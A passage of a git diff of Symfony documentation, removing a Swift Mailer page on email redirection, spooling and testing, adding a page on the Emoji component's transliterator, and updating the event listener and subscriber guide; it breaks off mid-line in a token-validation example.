xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config disable-delivery="true"/> - </container> - - .. code-block:: php - - // config/packages/test/swiftmailer.php - $container->loadFromExtension('swiftmailer', [ - 'disable_delivery' => "true", - ]); - -.. _sending-to-a-specified-address: - -Sending to a Specified Address(es) -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -You can also choose to have all email sent to a specific address or a list of addresses, instead -of the address actually specified when sending the message. This can be done -via the ``delivery_addresses`` option: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/dev/swiftmailer.yaml - swiftmailer: - delivery_addresses: ['dev@example.com'] - - .. code-block:: xml - - <!-- config/packages/dev/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer - https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config> - <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address> - </swiftmailer:config> - </container> - - .. code-block:: php - - // config/packages/dev/swiftmailer.php - $container->loadFromExtension('swiftmailer', [ - 'delivery_addresses' => ['dev@example.com'], - ]); - -Now, suppose you're sending an email to ``recipient@example.com`` in a controller:: - - public function index($name, \Swift_Mailer $mailer) - { - $message = (new \Swift_Message('Hello Email')) - ->setFrom('send@example.com') - ->setTo('recipient@example.com') - ->setBody( - $this->renderView( - // templates/hello/email.txt.twig - 'hello/email.txt.twig', - ['name' => $name] - ) - ) - ; - $mailer->send($message); - - return $this->render(...); - } - -In the ``dev`` environment, the email will instead be sent to ``dev@example.com``. -Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing -the replaced address, so you can still see who it would have been sent to. - -.. note:: - - In addition to the ``to`` addresses, this will also stop the email being - sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add - additional headers to the email with the overridden addresses in them. - These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC`` - addresses respectively. - -.. _sending-to-a-specified-address-but-with-exceptions: - -Sending to a Specified Address but with Exceptions -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Suppose you want to have all email redirected to a specific address, -(like in the above scenario to ``dev@example.com``). But then you may want -email sent to some specific email addresses to go through after all, and -not be redirected (even if it is in the dev environment). This can be done -by adding the ``delivery_whitelist`` option: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/dev/swiftmailer.yaml - swiftmailer: - delivery_addresses: ['dev@example.com'] - delivery_whitelist: - # all email addresses matching these regexes will be delivered - # like normal, as well as being sent to dev@example.com - - '/@specialdomain\.com$/' - - '/^admin@mydomain\.com$/' - - .. code-block:: xml - - <!-- config/packages/dev/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer - https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config> - <!-- all email addresses matching these regexes will be delivered - like normal, as well as being sent to dev@example.com --> - <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern> - <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern> - <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address> - </swiftmailer:config> - </container> - - .. code-block:: php - - // config/packages/dev/swiftmailer.php - $container->loadFromExtension('swiftmailer', [ - 'delivery_addresses' => ["dev@example.com"], - 'delivery_whitelist' => [ - // all email addresses matching these regexes will be delivered - // like normal, as well as being sent to dev@example.com - '/@specialdomain\.com$/', - '/^admin@mydomain\.com$/', - ], - ]); - -In the above example all email messages will be redirected to ``dev@example.com`` -and messages sent to the ``admin@mydomain.com`` address or to any email address -belonging to the domain ``specialdomain.com`` will also be delivered as normal. - -.. caution:: - - The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined. - -Viewing from the Web Debug Toolbar -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -You can view any email sent during a single response when you are in the -``dev`` environment using the web debug toolbar. The email icon in the toolbar -will show how many emails were sent. If you click it, a report will open -showing the details of the sent emails. - -If you're sending an email and then immediately redirecting to another page, -the web debug toolbar will not display an email icon or a report on the next -page. - -Instead, you can set the ``intercept_redirects`` option to ``true`` in the -``dev`` environment, which will cause the redirect to stop and allow you to open -the report with details of the sent emails. - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/dev/web_profiler.yaml - web_profiler: - intercept_redirects: true - - .. code-block:: xml - - <!-- config/packages/dev/web_profiler.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/webprofiler - https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd"> - - <webprofiler:config - intercept-redirects="true" - /> - </container> - - .. code-block:: php - - // config/packages/dev/web_profiler.php - $container->loadFromExtension('web_profiler', [ - 'intercept_redirects' => 'true', - ]); - -.. tip:: - - Alternatively, you can open the profiler after the redirect and search - by the submit URL used on the previous request (e.g. ``/contact/handle``). - The profiler's search feature allows you to load the profiler information - for any past requests. - -.. tip:: - - In addition to the features provided by Symfony, there are applications that - can help you test emails during application development, like `MailCatcher`_, - `Mailtrap`_ and `MailHog`_. - -How to Spool Emails -------------------- - -The default behavior of the Symfony mailer is to send the email messages -immediately. You may, however, want to avoid the performance hit of the -communication to the email server, which could cause the user to wait for the -next page to load while the email is sending. This can be avoided by choosing to -"spool" the emails instead of sending them directly. - -This makes the mailer to not attempt to send the email message but instead save -it somewhere such as a file. Another process can then read from the spool and -take care of sending the emails in the spool. Currently only spooling to file or -memory is supported. - -.. _email-spool-memory: - -Spool Using Memory -~~~~~~~~~~~~~~~~~~ - -When you use spooling to store the emails to memory, they will get sent right -before the kernel terminates. This means the email only gets sent if the whole -request got executed without any unhandled exception or any errors. To configure -this spool, use the following configuration: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/swiftmailer.yaml - swiftmailer: - # ... - spool: { type: memory } - - .. code-block:: xml - - <!-- config/packages/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config> - <swiftmailer:spool type="memory"/> - </swiftmailer:config> - </container> - - .. code-block:: php - - // config/packages/swiftmailer.php - $container->loadFromExtension('swiftmailer', [ - // ... - 'spool' => ['type' => 'memory'], - ]); - -.. _spool-using-a-file: - -Spool Using Files -~~~~~~~~~~~~~~~~~ - -When you use the filesystem for spooling, Symfony creates a folder in the given -path for each mail service (e.g. "default" for the default service). This folder -will contain files for each email in the spool. So make sure this directory is -writable by Symfony (or your webserver/php)! - -In order to use the spool with files, use the following configuration: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/swiftmailer.yaml - swiftmailer: - # ... - spool: - type: file - path: /path/to/spooldir - - .. code-block:: xml - - <!-- config/packages/swiftmailer.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config> - <swiftmailer:spool - type="file" - path="/path/to/spooldir" - /> - </swiftmailer:config> - </container> - - .. code-block:: php - - // config/packages/swiftmailer.php - $container->loadFromExtension('swiftmailer', [ - // ... - - 'spool' => [ - 'type' => 'file', - 'path' => '/path/to/spooldir', - ], - ]); - -.. tip:: - - If you want to store the spool somewhere with your project directory, - remember that you can use the ``%kernel.project_dir%`` parameter to reference - the project's root: - - .. code-block:: yaml - - path: '%kernel.project_dir%/var/spool' - -Now, when your app sends an email, it will not actually be sent but instead -added to the spool. Sending the messages from the spool is done separately. -There is a console command to send the messages in the spool: - -.. code-block:: terminal - - $ APP_ENV=prod php bin/console swiftmailer:spool:send - -It has an option to limit the number of messages to be sent: - -.. code-block:: terminal - - $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10 - -You can also set the time limit in seconds: - -.. code-block:: terminal - - $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10 - -In practice you will not want to run this manually. Instead, the console command -should be triggered by a cron job or scheduled task and run at a regular -interval. - -.. caution:: - - When you create a message with SwiftMailer, it generates a ``Swift_Message`` - class. If the ``swiftmailer`` service is lazy loaded, it generates instead a - proxy class named ``Swift_Message_<someRandomCharacters>``. - - If you use the memory spool, this change is transparent and has no impact. - But when using the filesystem spool, the message class is serialized in - a file with the randomized class name. The problem is that this random - class name changes on every cache clear. - - So if you send a mail and then you clear the cache, on the next execution of - ``swiftmailer:spool:send`` an error will raise because the class - ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore). - - The solutions are either to use the memory spool or to load the - ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`). - -How to Test that an Email is Sent in a Functional Test ------------------------------------------------------- - -Sending emails with Symfony is pretty straightforward thanks to the -SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library. - -To functionally test that an email was sent, and even assert the email subject, -content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`. - -Start with a controller action that sends an email:: - - public function sendEmail($name, \Swift_Mailer $mailer) - { - $message = (new \Swift_Message('Hello Email')) - ->setFrom('send@example.com') - ->setTo('recipient@example.com') - ->setBody('You should see me from the profiler!') - ; - - $mailer->send($message); - - // ... - } - -In your functional test, use the ``swiftmailer`` collector on the profiler -to get information about the messages sent on the previous request:: - - // tests/Controller/MailControllerTest.php - namespace App\Tests\Controller; - - use Symfony\Bundle\FrameworkBundle\Test\WebTestCase; - - class MailControllerTest extends WebTestCase - { - public function testMailIsSentAndContentIsOk() - { - $client = static::createClient(); - - // enables the profiler for the next request (it does nothing if the profiler is not available) - $client->enableProfiler(); - - $crawler = $client->request('POST', '/path/to/above/action'); - - $mailCollector = $client->getProfile()->getCollector('swiftmailer'); - - // checks that an email was sent - $this->assertSame(1, $mailCollector->getMessageCount()); - - $collectedMessages = $mailCollector->getMessages(); - $message = $collectedMessages[0]; - - // Asserting email data - $this->assertInstanceOf('Swift_Message', $message); - $this->assertSame('Hello Email', $message->getSubject()); - $this->assertSame('send@example.com', key($message->getFrom())); - $this->assertSame('recipient@example.com', key($message->getTo())); - $this->assertSame( - 'You should see me from the profiler!', - $message->getBody() - ); - } - } - -Troubleshooting -~~~~~~~~~~~~~~~ - -Problem: The Collector Object Is ``null`` -......................................... - -The email collector is only available when the profiler is enabled and collects -information, as explained in :doc:`/testing/profiling`. - -Problem: The Collector Doesn't Contain the Email -................................................ - -If a redirection is performed after sending the email (for example when you send -an email after a form is processed and before redirecting to another page), make -sure that the test client doesn't follow the redirects, as explained in -:doc:`/testing`. Otherwise, the collector will contain the information of the -redirected page and the email won't be accessible. - -.. _`MailCatcher`: https://github.com/sj26/mailcatcher -.. _`MailHog`: https://github.com/mailhog/MailHog -.. _`Mailtrap`: https://mailtrap.io/ -.. _`Swift Mailer`: https://swiftmailer.symfony.com/ -.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle -.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html -.. _`Mandrill`: https://mandrill.com/ -.. _`SendGrid`: https://sendgrid.com/ -.. _`Amazon SES`: https://aws.amazon.com/ses/ -.. _`generate an App password`: https://support.google.com/accounts/answer/185833 -.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255 -.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt diff --git a/emoji.rst b/emoji.rst new file mode 100644 index 00000000000..551497f0c76 --- /dev/null +++ b/emoji.rst @@ -0,0 +1,173 @@ +Working with Emojis +=================== + +.. versionadded:: 7.1 + + The emoji component was introduced in Symfony 7.1. + +Symfony provides several utilities to work with emoji characters and sequences +from the `Unicode CLDR dataset`_. They are available via the Emoji component, +which you must first install in your application: + +.. _installation: + +.. code-block:: terminal + + $ composer require symfony/emoji + +.. include:: /components/require_autoload.rst.inc + +The data needed to store the transliteration of all emojis (~5,000) into all +languages take a considerable disk space. + +If you need to save disk space (e.g. because you deploy to some service with tight +size constraints), run this command (e.g. as an automated script after ``composer install``) +to compress the internal Symfony emoji data files using the PHP ``zlib`` extension: + +.. code-block:: terminal + + # adjust the path to the 'compress' binary based on your application installation + $ php ./vendor/symfony/emoji/Resources/bin/compress + +.. _emoji-transliteration: + +Emoji Transliteration +--------------------- + +The ``EmojiTransliterator`` class offers a way to translate emojis into their +textual representation in all languages based on the `Unicode CLDR dataset`_:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + // Describe emojis in English + $transliterator = EmojiTransliterator::create('en'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with pizza or spaghetti' + + // Describe emojis in Ukrainian + $transliterator = EmojiTransliterator::create('uk'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with піца or спагеті' + +.. tip:: + + When using the :ref:`slugger <string-slugger>` from the String component, + you can combine it with the ``EmojiTransliterator`` to :ref:`slugify emojis <string-slugger-emoji>`. + +Transliterating Emoji Text Short Codes +-------------------------------------- + +Services like GitHub and Slack allows to include emojis in your messages using +text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji). + +Symfony also provides a feature to transliterate emojis into short codes and vice +versa. The short codes are slightly different on each service, so you must pass +the name of the service as an argument when creating the transliterator. + +GitHub Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Convert emojis to GitHub short codes with the ``emoji-github`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-github'); + $transliterator->transliterate('Teenage 🐢 really love 🍕'); + // => 'Teenage :turtle: really love :pizza:' + +Convert GitHub short codes to emojis with the ``github-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('github-emoji'); + $transliterator->transliterate('Teenage :turtle: really love :pizza:'); + // => 'Teenage 🐢 really love 🍕' + +Gitlab Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-gitlab'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwi: or :milk:' + +Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('gitlab-emoji'); + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // => 'Breakfast with 🥝 or 🥛' + +Slack Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Convert emojis to Slack short codes with the ``emoji-slack`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-slack'); + $transliterator->transliterate('Menus with 🥗 or 🧆'); + // => 'Menus with :green_salad: or :falafel:' + +Convert Slack short codes to emojis with the ``slack-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('slack-emoji'); + $transliterator->transliterate('Menus with :green_salad: or :falafel:'); + // => 'Menus with 🥗 or 🧆' + +.. _text-emoji: + +Universal Emoji Short Codes Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you don't know which service was used to generate the short codes, you can use +the ``text-emoji`` locale, which combines all codes from all services:: + + $transliterator = EmojiTransliterator::create('text-emoji'); + + // Github short codes + $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:'); + // Gitlab short codes + $transliterator->transliterate('Breakfast with :kiwi: or :milk:'); + // Slack short codes + $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:'); + + // all the above examples produce the same result: + // => 'Breakfast with 🥝 or 🥛' + +You can convert emojis to short codes with the ``emoji-text`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-text'); + $transliterator->transliterate('Breakfast with 🥝 or 🥛'); + // => 'Breakfast with :kiwifruit: or :milk-glass: + +Inverse Emoji Transliteration +----------------------------- + +Given the textual representation of an emoji, you can reverse it back to get the +actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`: + +.. code-block:: twig + + {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwi:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwifruit:'|emojify }} {# renders: I like 🥝 #} + +By default, ``emojify`` uses the :ref:`text catalog <text-emoji>`, which +merges the emoji text codes of all services. If you prefer, you can select a +specific catalog to use: + +.. code-block:: twig + + {{ 'I :green-heart: this'|emojify }} {# renders: I 💚 this #} + {{ ':green_salad: is nice'|emojify('slack') }} {# renders: 🥗 is nice #} + {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #} + {{ ':kiwi: is a great fruit'|emojify('gitlab') }} {# renders: 🥝 is a great fruit #} + +Removing Emojis +--------------- + +The ``EmojiTransliterator`` can also be used to remove all emojis from a string, +via the special ``strip`` locale:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + $transliterator = EmojiTransliterator::create('strip'); + $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁'); + // => 'Hey! Happy Birthday!' + +.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr diff --git a/event_dispatcher.rst b/event_dispatcher.rst index 6de4d1b9af0..ffa9e67aa0d 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -1,7 +1,3 @@ -.. index:: - single: Events; Create listener - single: Create subscriber - Events and Event Listeners ========================== @@ -32,7 +28,7 @@ The most common way to listen to an event is to register an **event listener**:: class ExceptionListener { - public function onKernelException(ExceptionEvent $event) + public function __invoke(ExceptionEvent $event): void { // You get the exception object from the received event $exception = $event->getThrowable(); @@ -45,6 +41,9 @@ The most common way to listen to an event is to register an **event listener**:: // Customize your response object to display the exception details $response = new Response(); $response->setContent($message); + // the exception message can contain unfiltered user input; + // set the content-type to text to avoid XSS issues + $response->headers->set('Content-Type', 'text/plain; charset=utf-8'); // HttpExceptionInterface is a special type of exception that // holds status code and header details @@ -60,16 +59,8 @@ The most common way to listen to an event is to register an **event listener**:: } } -.. tip:: - - Each event receives a slightly different type of ``$event`` object. For - the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`. - Check out the :doc:`Symfony events reference </reference/events>` to see - what type of object each event provides. - Now that the class is created, you need to register it as a service and -notify Symfony that it is a "listener" on the ``kernel.exception`` event by -using a special "tag": +notify Symfony that it is an event listener by using a special "tag": .. configuration-block:: @@ -78,8 +69,7 @@ using a special "tag": # config/services.yaml services: App\EventListener\ExceptionListener: - tags: - - { name: kernel.event_listener, event: kernel.exception } + tags: [kernel.event_listener] .. code-block:: xml @@ -92,7 +82,7 @@ using a special "tag": <services> <service id="App\EventListener\ExceptionListener"> - <tag name="kernel.event_listener" event="kernel.exception"/> + <tag name="kernel.event_listener"/> </service> </services> </container> @@ -104,11 +94,11 @@ using a special "tag": use App\EventListener\ExceptionListener; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(ExceptionListener::class) - ->addTag('kernel.event_listener', ['event' => 'kernel.exception']) + ->tag('kernel.event_listener') ; }; @@ -117,12 +107,9 @@ listener class: #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's the name of the method to be called; -#. If no ``method`` attribute is defined, try to call the method whose name - is ``on`` + "camel-cased event name" (e.g. ``onKernelException()`` method for - the ``kernel.exception`` event); -#. If that method is not defined either, try to call the ``__invoke()`` magic +#. If no ``method`` attribute is defined, try to call the ``__invoke()`` magic method (which makes event listeners invokable); -#. If the ``_invoke()`` method is not defined either, throw an exception. +#. If the ``__invoke()`` method is not defined either, throw an exception. .. note:: @@ -134,6 +121,113 @@ listener class: internal Symfony listeners usually range from ``-256`` to ``256`` but your own listeners can use any positive or negative integer. +.. note:: + + There is an optional attribute for the ``kernel.event_listener`` tag called + ``event`` which is useful when listener ``$event`` argument is not typed. + If you configure it, it will change type of ``$event`` object. + For the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`. + Check out the :doc:`Symfony events reference </reference/events>` to see + what type of object each event provides. + + With this attribute, Symfony follows this logic to decide which method to call + inside the event listener class: + + #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's + the name of the method to be called; + #. If no ``method`` attribute is defined, try to call the method whose name + is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for + the ``kernel.exception`` event); + #. If that method is not defined either, try to call the ``__invoke()`` magic + method (which makes event listeners invokable); + #. If the ``__invoke()`` method is not defined either, throw an exception. + +.. _event-dispatcher_event-listener-attributes: + +Defining Event Listeners with PHP Attributes +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +An alternative way to define an event listener is to use the +:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` +PHP attribute. This allows you to configure the listener inside its class, without +having to add any configuration in external files:: + + namespace App\EventListener; + + use Symfony\Component\EventDispatcher\Attribute\AsEventListener; + + #[AsEventListener] + final class MyListener + { + public function __invoke(CustomEvent $event): void + { + // ... + } + } + +You can add multiple ``#[AsEventListener]`` attributes to configure different methods. +The ``method`` property is optional, and when not defined, it defaults to +``on`` + uppercased event name. In the example below, the ``'foo'`` event listener +doesn't explicitly define its method, so the ``onFoo()`` method will be called:: + + namespace App\EventListener; + + use Symfony\Component\EventDispatcher\Attribute\AsEventListener; + + #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')] + #[AsEventListener(event: 'foo', priority: 42)] + #[AsEventListener(event: 'bar', method: 'onBarEvent')] + final class MyMultiListener + { + public function onCustomEvent(CustomEvent $event): void + { + // ... + } + + public function onFoo(): void + { + // ... + } + + public function onBarEvent(): void + { + // ... + } + } + +:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` +can also be applied to methods directly:: + + namespace App\EventListener; + + use Symfony\Component\EventDispatcher\Attribute\AsEventListener; + + final class MyMultiListener + { + #[AsEventListener] + public function onCustomEvent(CustomEvent $event): void + { + // ... + } + + #[AsEventListener(event: 'foo', priority: 42)] + public function onFoo(): void + { + // ... + } + + #[AsEventListener(event: 'bar')] + public function onBarEvent(): void + { + // ... + } + } + +.. note:: + + Note that the attribute doesn't require its ``event`` parameter to be set + if the method already type-hints the expected event. + .. _events-subscriber: Creating an Event Subscriber @@ -141,8 +235,8 @@ Creating an Event Subscriber Another way to listen to events is via an **event subscriber**, which is a class that defines one or more methods that listen to one or various events. The main -difference with the event listeners is that subscribers always know which events -they are listening to. +difference with the event listeners is that subscribers always know the events +to which they are listening. If different event subscriber methods listen to the same event, their order is defined by the ``priority`` parameter. This value is a positive or negative @@ -152,22 +246,22 @@ methods could be called before or after the methods defined in other listeners and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`. The following example shows an event subscriber that defines several methods which -listen to the same ``kernel.exception`` event:: +listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>` +via its ``ExceptionEvent`` class:: // src/EventSubscriber/ExceptionSubscriber.php namespace App\EventSubscriber; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpKernel\Event\ExceptionEvent; - use Symfony\Component\HttpKernel\KernelEvents; class ExceptionSubscriber implements EventSubscriberInterface { - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { // return the subscribed events, their methods and priorities return [ - KernelEvents::EXCEPTION => [ + ExceptionEvent::class => [ ['processException', 10], ['logException', 0], ['notifyException', -10], @@ -175,17 +269,17 @@ listen to the same ``kernel.exception`` event:: ]; } - public function processException(ExceptionEvent $event) + public function processException(ExceptionEvent $event): void { // ... } - public function logException(ExceptionEvent $event) + public function logException(ExceptionEvent $event): void { // ... } - public function notifyException(ExceptionEvent $event) + public function notifyException(ExceptionEvent $event): void { // ... } @@ -206,10 +300,10 @@ the ``EventSubscriber`` directory. Symfony takes care of the rest. Request Events, Checking Types ------------------------------ -A single page can make several requests (one master request, and then multiple +A single page can make several requests (one main request, and then multiple sub-requests - typically when :ref:`embedding controllers in templates <templates-embed-controllers>`). For the core Symfony events, you might need to check to see if the event is for -a "master" request or a "sub request":: +a "main" request or a "sub request":: // src/EventListener/RequestListener.php namespace App\EventListener; @@ -218,10 +312,10 @@ a "master" request or a "sub request":: class RequestListener { - public function onKernelRequest(RequestEvent $event) + public function onKernelRequest(RequestEvent $event): void { - if (!$event->isMasterRequest()) { - // don't do anything if it's not the master request + if (!$event->isMainRequest()) { + // don't do anything if it's not the main request return; } @@ -269,7 +363,7 @@ name (FQCN) of the corresponding event class:: ]; } - public function onKernelRequest(RequestEvent $event) + public function onKernelRequest(RequestEvent $event): void { // ... } @@ -293,7 +387,7 @@ compiler pass ``AddEventAliasesPass``:: class Kernel extends BaseKernel { - protected function build(ContainerBuilder $container) + protected function build(ContainerBuilder $container): void { $container->addCompilerPass(new AddEventAliasesPass([ MyCustomEvent::class => 'my_custom_event', @@ -322,11 +416,396 @@ its name: $ php bin/console debug:event-dispatcher kernel.exception -Learn more ----------- +or can get everything which partial matches the event name: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc. + $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent" + +The :doc:`security </security>` system uses an event dispatcher per +firewall. Use the ``--dispatcher`` option to get the registered listeners +for a particular event dispatcher: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main + +.. _event-dispatcher-before-after-filters: + +How to Set Up Before and After Filters +-------------------------------------- + +It is quite common in web application development to need some logic to be +performed right before or directly after your controller actions acting as +filters or hooks. + +Some web frameworks define methods like ``preExecute()`` and ``postExecute()``, +but there is no such thing in Symfony. The good news is that there is a much +better way to interfere with the Request -> Response process using the +:doc:`EventDispatcher component </components/event_dispatcher>`. + +Token Validation Example +~~~~~~~~~~~~~~~~~~~~~~~~ + +Imagine that you need to develop an API where some controllers are public +but some others are restricted to one or some clients. For these private features, +you might provide a token to your clients to identify themselves. + +So, before executing your controller action, you need to check if the action +is restricted or not. If it is restricted, you need to validate the provided +token. + +.. note:: + + Please note that for simplicity in this recipe, tokens will be defined + in config and neither database setup nor authentication via the Security + component will be used. + +Before Filters with the ``kernel.controller`` Event +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +First, define some token configuration as parameters: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + parameters: + tokens: + client1: pass1 + client2: pass2 + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <parameters> + <parameter key="tokens" type="collection"> + <parameter key="client1">pass1</parameter> + <parameter key="client2">pass2</parameter> + </parameter> + </parameters> + </container> + + .. code-block:: php + + // config/services.php + $container->setParameter('tokens', [ + 'client1' => 'pass1', + 'client2' => 'pass2', + ]); + +Tag Controllers to Be Checked +............................. + +A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified +on *every* request, right before the controller is executed. So, first, you need +some way to identify if the controller that matches the request needs token validation. + +A clean and simple way is to create an empty interface and make the controllers +implement it:: + + namespace App\Controller; + + interface TokenAuthenticatedController + { + // ... + } + +A controller that implements this interface looks like this:: + + namespace App\Controller; + + use App\Controller\TokenAuthenticatedController; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + + class FooController extends AbstractController implements TokenAuthenticatedController + { + // An action that needs authentication + public function bar(): Response + { + // ... + } + } + +Creating an Event Subscriber +............................ + +Next, you'll need to create an event subscriber, which will hold the logic +that you want to be executed before your controllers. If you're not familiar with +event subscribers, you can learn more about :ref:`how to use them <events-subscriber>`:: + + // src/EventSubscriber/TokenSubscriber.php + namespace App\EventSubscriber; + + use App\Controller\TokenAuthenticatedController; + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use 